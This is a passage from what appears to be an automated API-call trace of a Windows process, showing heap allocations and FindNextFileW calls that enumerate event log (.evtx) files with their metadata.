hHeap=0x570000, dwFlags=0x0, lpMem=0x5b7960 | out: hHeap=0x570000) returned 1 [0122.011] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x40) returned 0x5c7378 [0122.011] GetLastError () returned 0x12 [0122.011] SetLastError (dwErrCode=0x12) [0122.011] GetLastError () returned 0x12 [0122.011] SetLastError (dwErrCode=0x12) [0122.011] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x80) returned 0x5b7498 [0122.012] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x5c7378 | out: hHeap=0x570000) returned 1 [0122.012] GetLastError () returned 0x12 [0122.012] SetLastError (dwErrCode=0x12) [0122.012] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x60) returned 0x5b6640 [0122.012] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x5b6640 | out: hHeap=0x570000) returned 1 [0122.012] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x70) returned 0x5b5760 [0122.012] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x18) returned 0x5cd608 [0122.012] FindNextFileW (in: hFindFile=0x5a3250, lpFindFileData=0x2e3fb24 | out: lpFindFileData=0x2e3fb24*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x59547c37, ftCreationTime.dwHighDateTime=0x1d1a04e, ftLastAccessTime.dwLowDateTime=0x59547c37, ftLastAccessTime.dwHighDateTime=0x1d1a04e, ftLastWriteTime.dwLowDateTime=0xd96d7ac9, ftLastWriteTime.dwHighDateTime=0x1d1a04f, nFileSizeHigh=0x0, nFileSizeLow=0x11000, dwReserved0=0xa0000003, dwReserved1=0x73ca443f, cFileName="Microsoft-Windows-Known Folders API Service.evtx", cAlternateFileName="MI86D6~1.EVT")) returned 1 [0122.012] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x5b7498 | out: hHeap=0x570000) returned 1 [0122.012] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x40) returned 0x5c7378 [0122.012] GetLastError () returned 0x12 [0122.012] SetLastError (dwErrCode=0x12) [0122.012] GetLastError () returned 0x12 [0122.012] SetLastError (dwErrCode=0x12) [0122.012] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x80) returned 0x5b7498 [0122.012] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x5c7378 | out: hHeap=0x570000) returned 1 [0122.012] GetLastError () returned 0x12 [0122.012] SetLastError (dwErrCode=0x12) [0122.012] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x70) returned 0x5b57d8 [0122.012] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x5b57d8 | out: hHeap=0x570000) returned 1 [0122.012] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x70) returned 0x5b5490 [0122.012] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x18) returned 0x5cd688 [0122.012] FindNextFileW (in: hFindFile=0x5a3250, lpFindFileData=0x2e3fb24 | out: lpFindFileData=0x2e3fb24*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xcbb7386e, ftCreationTime.dwHighDateTime=0x1d1a04e, ftLastAccessTime.dwLowDateTime=0xcbb7386e, ftLastAccessTime.dwHighDateTime=0x1d1a04e, ftLastWriteTime.dwLowDateTime=0xa1df92a8, ftLastWriteTime.dwHighDateTime=0x1d1a04f, nFileSizeHigh=0x0, nFileSizeLow=0x11000, dwReserved0=0xa0000003, dwReserved1=0x73ca443f, cFileName="Microsoft-Windows-LiveId%4Operational.evtx", cAlternateFileName="MI4C58~1.EVT")) returned 1 [0122.012] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x5b7498 | out: hHeap=0x570000) returned 1 [0122.012] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x40) returned 0x5c7378 [0122.012] GetLastError () returned 0x12 [0122.012] SetLastError (dwErrCode=0x12) [0122.012] GetLastError () returned 0x12 [0122.012] SetLastError (dwErrCode=0x12) [0122.012] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x80) returned 0x5b7960 [0122.012] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x5c7378 | out: hHeap=0x570000) returned 1 [0122.012] GetLastError () returned 0x12 [0122.012] SetLastError (dwErrCode=0x12) [0122.012] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x60) returned 0x5b6918 [0122.012] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x5b6918 | out: hHeap=0x570000) returned 1 [0122.012] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x70) returned 0x5b5508 [0122.012] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x18) returned 0x5cd628 [0122.012] FindNextFileW (in: hFindFile=0x5a3250, lpFindFileData=0x2e3fb24 | out: lpFindFileData=0x2e3fb24*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xc93d06f0, ftCreationTime.dwHighDateTime=0x1d1a04e, ftLastAccessTime.dwLowDateTime=0xc93d06f0, ftLastAccessTime.dwHighDateTime=0x1d1a04e, ftLastWriteTime.dwLowDateTime=0xa1df92a8, ftLastWriteTime.dwHighDateTime=0x1d1a04f, nFileSizeHigh=0x0, nFileSizeLow=0x11000, dwReserved0=0xa0000003, dwReserved1=0x73ca443f, cFileName="Microsoft-Windows-MUI%4Admin.evtx", cAlternateFileName="MI30D3~1.EVT")) returned 1 [0122.013] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x5b7960 | out: hHeap=0x570000) returned 1 [0122.013] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x40) returned 0x5c7378 [0122.013] GetLastError () returned 0x12 [0122.013] SetLastError (dwErrCode=0x12) [0122.013] GetLastError () returned 0x12 [0122.013] SetLastError (dwErrCode=0x12) [0122.013] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x80) returned 0x5b7498 [0122.013] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x5c7378 | out: hHeap=0x570000) returned 1 [0122.013] GetLastError () returned 0x12 [0122.013] SetLastError (dwErrCode=0x12) [0122.013] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x50) returned 0x5bed68 [0122.013] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x5bed68 | out: hHeap=0x570000) returned 1 [0122.013] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x50) returned 0x5bed68 [0122.013] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x18) returned 0x5cd5e8 [0122.013] FindNextFileW (in: hFindFile=0x5a3250, lpFindFileData=0x2e3fb24 | out: lpFindFileData=0x2e3fb24*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xc93aa49b, ftCreationTime.dwHighDateTime=0x1d1a04e, ftLastAccessTime.dwLowDateTime=0xc93aa49b, ftLastAccessTime.dwHighDateTime=0x1d1a04e, ftLastWriteTime.dwLowDateTime=0xd96d7ac9, ftLastWriteTime.dwHighDateTime=0x1d1a04f, nFileSizeHigh=0x0, nFileSizeLow=0x11000, dwReserved0=0xa0000003, dwReserved1=0x73ca443f, cFileName="Microsoft-Windows-MUI%4Operational.evtx", cAlternateFileName="MI6F01~1.EVT")) returned 1 [0122.013] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x5b7498 | out: hHeap=0x570000) returned 1 [0122.013] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x40) returned 0x5c7378 [0122.013] GetLastError () returned 0x12 [0122.013] SetLastError (dwErrCode=0x12) [0122.013] GetLastError () returned 0x12 [0122.013] SetLastError (dwErrCode=0x12) [0122.013] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x80) returned 0x5b7960 [0122.013] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x5c7378 | out: hHeap=0x570000) returned 1 [0122.013] GetLastError () returned 0x12 [0122.013] SetLastError (dwErrCode=0x12) [0122.013] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x50) returned 0x5bedc0 [0122.013] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x5bedc0 | out: hHeap=0x570000) returned 1 [0122.013] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x60) returned 0x5b6508 [0122.013] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x18) returned 0x5cd708 [0122.013] FindNextFileW (in: hFindFile=0x5a3250, lpFindFileData=0x2e3fb24 | out: lpFindFileData=0x2e3fb24*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xc9d33b19, ftCreationTime.dwHighDateTime=0x1d1a04e, ftLastAccessTime.dwLowDateTime=0xc9d33b19, ftLastAccessTime.dwHighDateTime=0x1d1a04e, ftLastWriteTime.dwLowDateTime=0xa1dd3053, ftLastWriteTime.dwHighDateTime=0x1d1a04f, nFileSizeHigh=0x0, nFileSizeLow=0x11000, dwReserved0=0xa0000003, dwReserved1=0x73ca443f, cFileName="Microsoft-Windows-NCSI%4Operational.evtx", cAlternateFileName="MI483C~1.EVT")) returned 1 [0122.013] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x5b7960 | out: hHeap=0x570000) returned 1 [0122.013] GetLastError () returned 0x12 [0122.013] SetLastError (dwErrCode=0x12) [0122.013] GetLastError () returned 0x12 [0122.013] SetLastError (dwErrCode=0x12) [0122.013] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x5c7378 | out: hHeap=0x570000) returned 1 [0122.013] GetLastError () returned 0x12 [0122.014] SetLastError (dwErrCode=0x12) [0122.014] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x5b6640 | out: hHeap=0x570000) returned 1 [0122.014] FindNextFileW (in: hFindFile=0x5a3250, lpFindFileData=0x2e3fb24 | out: lpFindFileData=0x2e3fb24*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xcbcf0ff2, ftCreationTime.dwHighDateTime=0x1d1a04e, ftLastAccessTime.dwLowDateTime=0xcbcf0ff2, ftLastAccessTime.dwHighDateTime=0x1d1a04e, ftLastWriteTime.dwLowDateTime=0xa1dd3053, ftLastWriteTime.dwHighDateTime=0x1d1a04f, nFileSizeHigh=0x0, nFileSizeLow=0x11000, dwReserved0=0xa0000003, dwReserved1=0x73ca443f, cFileName="Microsoft-Windows-NetworkProfile%4Operational.evtx", cAlternateFileName="MIFC66~1.EVT")) returned 1 [0122.014] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x5b6b08 | out: hHeap=0x570000) returned 1 [0122.014] GetLastError () returned 0x12 [0122.014] SetLastError (dwErrCode=0x12) [0122.014] GetLastError () returned 0x12 [0122.014] SetLastError (dwErrCode=0x12) [0122.014] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x5c7378 | out: hHeap=0x570000) returned 1 [0122.014] GetLastError () returned 0x12 [0122.014] SetLastError (dwErrCode=0x12) [0122.014] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x5b5670 | out: hHeap=0x570000) returned 1 [0122.014] FindNextFileW (in: hFindFile=0x5a3250, lpFindFileData=0x2e3fb24 | out: lpFindFileData=0x2e3fb24*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x50ab3154, ftCreationTime.dwHighDateTime=0x1d1a04e, ftLastAccessTime.dwLowDateTime=0x50ab3154, ftLastAccessTime.dwHighDateTime=0x1d1a04e, ftLastWriteTime.dwLowDateTime=0xd96d7ac9, ftLastWriteTime.dwHighDateTime=0x1d1a04f, nFileSizeHigh=0x0, nFileSizeLow=0x11000, dwReserved0=0xa0000003, dwReserved1=0x73ca443f, cFileName="Microsoft-Windows-Ntfs%4Operational.evtx", cAlternateFileName="MI6E98~1.EVT")) returned 1 [0122.014] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x5b7960 | out: hHeap=0x570000) returned 1 [0122.014] GetLastError () returned 0x12 [0122.014] SetLastError (dwErrCode=0x12) [0122.014] GetLastError () returned 0x12 [0122.014] SetLastError (dwErrCode=0x12) [0122.014] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x5c7378 | out: hHeap=0x570000) returned 1 [0122.014] GetLastError () returned 0x12 [0122.014] SetLastError (dwErrCode=0x12) [0122.014] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x5b6980 | out: hHeap=0x570000) returned 1 [0122.014] FindNextFileW (in: hFindFile=0x5a3250, lpFindFileData=0x2e3fb24 | out: lpFindFileData=0x2e3fb24*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x50ad9393, ftCreationTime.dwHighDateTime=0x1d1a04e, ftLastAccessTime.dwLowDateTime=0x50ad9393, ftLastAccessTime.dwHighDateTime=0x1d1a04e, ftLastWriteTime.dwLowDateTime=0xd96d7ac9, ftLastWriteTime.dwHighDateTime=0x1d1a04f, nFileSizeHigh=0x0, nFileSizeLow=0x11000, dwReserved0=0xa0000003, dwReserved1=0x73ca443f, cFileName="Microsoft-Windows-Ntfs%4WHC.evtx", cAlternateFileName="MIB2AC~1.EVT")) returned 1 [0122.014] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x5b7960 | out: hHeap=0x570000) returned 1 [0122.014] GetLastError () returned 0x12 [0122.014] SetLastError (dwErrCode=0x12) [0122.014] GetLastError () returned 0x12 [0122.014] SetLastError (dwErrCode=0x12) [0122.014] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x5c7378 | out: hHeap=0x570000) returned 1 [0122.014] GetLastError () returned 0x12 [0122.014] SetLastError (dwErrCode=0x12) [0122.014] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x5befd0 | out: hHeap=0x570000) returned 1 [0122.015] FindNextFileW (in: hFindFile=0x5a3250, lpFindFileData=0x2e3fb24 | out: lpFindFileData=0x2e3fb24*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xca5fe5cb, ftCreationTime.dwHighDateTime=0x1d1a04e, ftLastAccessTime.dwLowDateTime=0xca5fe5cb, ftLastAccessTime.dwHighDateTime=0x1d1a04e, ftLastWriteTime.dwLowDateTime=0xa1dd3053, ftLastWriteTime.dwHighDateTime=0x1d1a04f, nFileSizeHigh=0x0, nFileSizeLow=0x11000, dwReserved0=0xa0000003, dwReserved1=0x73ca443f, cFileName="Microsoft-Windows-Program-Compatibility-Assistant%4CompatAfterUpgrade.evtx", cAlternateFileName="MI6AFE~1.EVT")) returned 1 [0122.015] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x5b6c18 | out: hHeap=0x570000) returned 1 [0122.015] GetLastError () returned 0x12 [0122.015] SetLastError (dwErrCode=0x12) [0122.015] GetLastError () returned 0x12 [0122.015] SetLastError (dwErrCode=0x12) [0122.015] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x5c7378 | out: hHeap=0x570000) returned 1 [0122.015] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x5b7498 | out: hHeap=0x570000) returned 1 [0122.015] GetLastError () returned 0x12 [0122.015] SetLastError (dwErrCode=0x12) [0122.015] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x5b5c30 | out: hHeap=0x570000) returned 1 [0122.015] FindNextFileW (in: hFindFile=0x5a3250, lpFindFileData=0x2e3fb24 | out: lpFindFileData=0x2e3fb24*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xe24cdef0, ftCreationTime.dwHighDateTime=0x1d1a04e, ftLastAccessTime.dwLowDateTime=0xe24cdef0, ftLastAccessTime.dwHighDateTime=0x1d1a04e, ftLastWriteTime.dwLowDateTime=0xa1dd3053, ftLastWriteTime.dwHighDateTime=0x1d1a04f, nFileSizeHigh=0x0, nFileSizeLow=0x11000, dwReserved0=0xa0000003, dwReserved1=0x73ca443f, cFileName="Microsoft-Windows-ReadyBoost%4Operational.evtx", cAlternateFileName="MIB9D2~1.EVT")) returned 1 [0122.015] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x2e40f20 | out: hHeap=0x570000) returned 1 [0122.015] GetLastError () returned 0x12 [0122.015] SetLastError (dwErrCode=0x12) [0122.015] GetLastError () returned 0x12 [0122.015] SetLastError (dwErrCode=0x12) [0122.015] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x5c7378 | out: hHeap=0x570000) returned 1 [0122.015] GetLastError () returned 0x12 [0122.015] SetLastError (dwErrCode=0x12) [0122.015] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x5b6980 | out: hHeap=0x570000) returned 1 [0122.015] FindNextFileW (in: hFindFile=0x5a3250, lpFindFileData=0x2e3fb24 | out: lpFindFileData=0x2e3fb24*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xd125335f, ftCreationTime.dwHighDateTime=0x1d1a04e, ftLastAccessTime.dwLowDateTime=0xd125335f, ftLastAccessTime.dwHighDateTime=0x1d1a04e, ftLastWriteTime.dwLowDateTime=0xd96d7ac9, ftLastWriteTime.dwHighDateTime=0x1d1a04f, nFileSizeHigh=0x0, nFileSizeLow=0x11000, dwReserved0=0xa0000003, dwReserved1=0x73ca443f, cFileName="Microsoft-Windows-Resource-Exhaustion-Detector%4Operational.evtx", cAlternateFileName="MI7A67~1.EVT")) returned 1 [0122.015] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x5b7960 | out: hHeap=0x570000) returned 1 [0122.015] GetLastError () returned 0x12 [0122.015] SetLastError (dwErrCode=0x12) [0122.015] GetLastError () returned 0x12 [0122.015] SetLastError (dwErrCode=0x12) [0122.015] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x5c7378 | out: hHeap=0x570000) returned 1 [0122.015] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x5b7960 | out: hHeap=0x570000) returned 1 [0122.015] GetLastError () returned 0x12 [0122.015] SetLastError (dwErrCode=0x12) [0122.015] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x5b5ce8 | out: hHeap=0x570000) returned 1 [0122.015] FindNextFileW (in: hFindFile=0x5a3250, lpFindFileData=0x2e3fb24 | out: lpFindFileData=0x2e3fb24*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xd1fe2941, ftCreationTime.dwHighDateTime=0x1d1a04e, ftLastAccessTime.dwLowDateTime=0xd1fe2941, ftLastAccessTime.dwHighDateTime=0x1d1a04e, ftLastWriteTime.dwLowDateTime=0xd96d7ac9, ftLastWriteTime.dwHighDateTime=0x1d1a04f, nFileSizeHigh=0x0, nFileSizeLow=0x101000, dwReserved0=0xa0000003, dwReserved1=0x73ca443f, cFileName="Microsoft-Windows-SettingSync%4Debug.evtx", cAlternateFileName="MI3773~1.EVT")) returned 1 [0122.016] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x2e40f20 | out: hHeap=0x570000) returned 1 [0122.016] GetLastError () returned 0x12 [0122.016] SetLastError (dwErrCode=0x12) [0122.016] GetLastError () returned 0x12 [0122.016] SetLastError (dwErrCode=0x12) [0122.016] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x5c7378 | out: hHeap=0x570000) returned 1 [0122.016] GetLastError () returned 0x12 [0122.016] SetLastError (dwErrCode=0x12) [0122.016] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x5b6300 | out: hHeap=0x570000) returned 1 [0122.016] FindNextFileW (in: hFindFile=0x5a3250, lpFindFileData=0x2e3fb24 | out: lpFindFileData=0x2e3fb24*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xd1fe2941, ftCreationTime.dwHighDateTime=0x1d1a04e, ftLastAccessTime.dwLowDateTime=0xd1fe2941, ftLastAccessTime.dwHighDateTime=0x1d1a04e, ftLastWriteTime.dwLowDateTime=0xa1dd3053, ftLastWriteTime.dwHighDateTime=0x1d1a04f, nFileSizeHigh=0x0, nFileSizeLow=0x11000, dwReserved0=0xa0000003, dwReserved1=0x73ca443f, cFileName="Microsoft-Windows-SettingSync%4Operational.evtx", cAlternateFileName="MI36AA~1.EVT")) returned 1 [0122.016] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x5b7498 | out: hHeap=0x570000) returned 1 [0122.016] GetLastError () returned 0x12 [0122.016] SetLastError (dwErrCode=0x12) [0122.016] GetLastError () returned 0x12 [0122.016] SetLastError (dwErrCode=0x12) [0122.016] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x5c7378 | out: hHeap=0x570000) returned 1 [0122.016] GetLastError () returned 0x12 [0122.016] SetLastError (dwErrCode=0x12) [0122.016] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x5b6778 | out: hHeap=0x570000) returned 1 [0122.016] FindNextFileW (in: hFindFile=0x5a3250, lpFindFileData=0x2e3fb24 | out: lpFindFileData=0x2e3fb24*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xd3852b12, ftCreationTime.dwHighDateTime=0x1d1a04e, ftLastAccessTime.dwLowDateTime=0xd3852b12, ftLastAccessTime.dwHighDateTime=0x1d1a04e, ftLastWriteTime.dwLowDateTime=0xa1dd3053, ftLastWriteTime.dwHighDateTime=0x1d1a04f, nFileSizeHigh=0x0, nFileSizeLow=0x11000, dwReserved0=0xa0000003, dwReserved1=0x73ca443f, cFileName="Microsoft-Windows-Shell-Core%4ActionCenter.evtx", cAlternateFileName="MI2E2E~1.EVT")) returned 1 [0122.016] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x5b7498 | out: hHeap=0x570000) returned 1 [0122.016] GetLastError () returned 0x12 [0122.016] SetLastError (dwErrCode=0x12) [0122.016] GetLastError () returned 0x12 [0122.016] SetLastError (dwErrCode=0x12) [0122.016] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x5c7378 | out: hHeap=0x570000) returned 1 [0122.016] GetLastError () returned 0x12 [0122.016] SetLastError (dwErrCode=0x12) [0122.017] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x5b6640 | out: hHeap=0x570000) returned 1 [0122.017] FindNextFileW (in: hFindFile=0x5a3250, lpFindFileData=0x2e3fb24 | out: lpFindFileData=0x2e3fb24*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xd3852b12, ftCreationTime.dwHighDateTime=0x1d1a04e, ftLastAccessTime.dwLowDateTime=0xd3852b12, ftLastAccessTime.dwHighDateTime=0x1d1a04e, ftLastWriteTime.dwLowDateTime=0xd96d7ac9, ftLastWriteTime.dwHighDateTime=0x1d1a04f, nFileSizeHigh=0x0, nFileSizeLow=0x11000, dwReserved0=0xa0000003, dwReserved1=0x73ca443f, cFileName="Microsoft-Windows-Shell-Core%4Operational.evtx", cAlternateFileName="MI1C6C~1.EVT")) returned 1 [0122.017] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x5b7498 | out: hHeap=0x570000) returned 1 [0122.017] GetLastError () returned 0x12 [0122.017] SetLastError (dwErrCode=0x12) [0122.017] GetLastError () returned 0x12 [0122.017] SetLastError (dwErrCode=0x12) [0122.017] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x5c7378 | out: hHeap=0x570000) returned 1 [0122.017] GetLastError () returned 0x12 [0122.017] SetLastError (dwErrCode=0x12) [0122.017] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x5b6778 | out: hHeap=0x570000) returned 1 [0122.017] FindNextFileW (in: hFindFile=0x5a3250, lpFindFileData=0x2e3fb24 | out: lpFindFileData=0x2e3fb24*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xc97d66c8, ftCreationTime.dwHighDateTime=0x1d1a04e, ftLastAccessTime.dwLowDateTime=0xc97d66c8, ftLastAccessTime.dwHighDateTime=0x1d1a04e, ftLastWriteTime.dwLowDateTime=0xd96d7ac9, ftLastWriteTime.dwHighDateTime=0x1d1a04f, nFileSizeHigh=0x0, nFileSizeLow=0x11000, dwReserved0=0xa0000003, dwReserved1=0x73ca443f, cFileName="Microsoft-Windows-SmbClient%4Connectivity.evtx", cAlternateFileName="MI00FB~1.EVT")) returned 1 [0122.017] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x5b7498 | out: hHeap=0x570000) returned 1 [0122.017] GetLastError () returned 0x12 [0122.017] SetLastError (dwErrCode=0x12) [0122.017] GetLastError () returned 0x12 [0122.017] SetLastError (dwErrCode=0x12) [0122.017] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x5c7378 | out: hHeap=0x570000) returned 1 [0122.017] GetLastError () returned 0x12 [0122.017] SetLastError (dwErrCode=0x12) [0122.017] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x5b6640 | out: hHeap=0x570000) returned 1 [0122.017] FindNextFileW (in: hFindFile=0x5a3250, lpFindFileData=0x2e3fb24 | out: lpFindFileData=0x2e3fb24*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xc97b042f, ftCreationTime.dwHighDateTime=0x1d1a04e, ftLastAccessTime.dwLowDateTime=0xc97b042f, ftLastAccessTime.dwHighDateTime=0x1d1a04e, ftLastWriteTime.dwLowDateTime=0xa1dd3053, ftLastWriteTime.dwHighDateTime=0x1d1a04f, nFileSizeHigh=0x0, nFileSizeLow=0x11000, dwReserved0=0xa0000003, dwReserved1=0x73ca443f, cFileName="Microsoft-Windows-SMBClient%4Operational.evtx", cAlternateFileName="MID8B0~1.EVT")) returned 1 [0122.017] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x5b7960 | out: hHeap=0x570000) returned 1 [0122.017] GetLastError () returned 0x12 [0122.017] SetLastError (dwErrCode=0x12) [0122.017] GetLastError () returned 0x12 [0122.017] SetLastError (dwErrCode=0x12) [0122.017] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x5c7378 | out: hHeap=0x570000) returned 1 [0122.017] GetLastError () returned 0x12 [0122.017] SetLastError (dwErrCode=0x12) [0122.017] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x5b6368 | out: hHeap=0x570000) returned 1 [0122.017] FindNextFileW (in: hFindFile=0x5a3250, lpFindFileData=0x2e3fb24 | out: lpFindFileData=0x2e3fb24*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xc97d66c8, ftCreationTime.dwHighDateTime=0x1d1a04e, ftLastAccessTime.dwLowDateTime=0xc97d66c8, ftLastAccessTime.dwHighDateTime=0x1d1a04e, ftLastWriteTime.dwLowDateTime=0xa1dd3053, ftLastWriteTime.dwHighDateTime=0x1d1a04f, nFileSizeHigh=0x0, nFileSizeLow=0x11000, dwReserved0=0xa0000003, dwReserved1=0x73ca443f, cFileName="Microsoft-Windows-SmbClient%4Security.evtx", cAlternateFileName="MI8CEE~1.EVT")) returned 1 [0122.017] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x5b7498 | out: hHeap=0x570000) returned 1 [0122.018] GetLastError () returned 0x12 [0122.018] SetLastError (dwErrCode=0x12) [0122.018] GetLastError () returned 0x12 [0122.018] SetLastError (dwErrCode=0x12) [0122.018] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x5c7378 | out: hHeap=0x570000) returned 1 [0122.018] GetLastError () returned 0x12 [0122.018] SetLastError (dwErrCode=0x12) [0122.018] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x5b6980 | out: hHeap=0x570000) returned 1 [0122.018] FindNextFileW (in: hFindFile=0x5a3250, lpFindFileData=0x2e3fb24 | out: lpFindFileData=0x2e3fb24*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xcb1ea1c9, ftCreationTime.dwHighDateTime=0x1d1a04e, ftLastAccessTime.dwLowDateTime=0xcb1ea1c9, ftLastAccessTime.dwHighDateTime=0x1d1a04e, ftLastWriteTime.dwLowDateTime=0xa1dd3053, ftLastWriteTime.dwHighDateTime=0x1d1a04f, nFileSizeHigh=0x0, nFileSizeLow=0x11000, dwReserved0=0xa0000003, dwReserved1=0x73ca443f, cFileName="Microsoft-Windows-SMBServer%4Audit.evtx", cAlternateFileName="MIE3AD~1.EVT")) returned 1 [0122.018] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x5b7960 | out: hHeap=0x570000) returned 1 [0122.018] GetLastError () returned 0x12 [0122.018] SetLastError (dwErrCode=0x12) [0122.018] GetLastError () returned 0x12 [0122.018] SetLastError (dwErrCode=0x12) [0122.018] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x5c7378 | out: hHeap=0x570000) returned 1 [0122.018] GetLastError () returned 0x12 [0122.018] SetLastError (dwErrCode=0x12) [0122.018] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x5beec8 | out: hHeap=0x570000) returned 1 [0122.018] FindNextFileW (in: hFindFile=0x5a3250, lpFindFileData=0x2e3fb24 | out: lpFindFileData=0x2e3fb24*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xcb19dd19, ftCreationTime.dwHighDateTime=0x1d1a04e, ftLastAccessTime.dwLowDateTime=0xcb19dd19, ftLastAccessTime.dwHighDateTime=0x1d1a04e, ftLastWriteTime.dwLowDateTime=0xa1dd3053, ftLastWriteTime.dwHighDateTime=0x1d1a04f, nFileSizeHigh=0x0, nFileSizeLow=0x11000, dwReserved0=0xa0000003, dwReserved1=0x73ca443f, 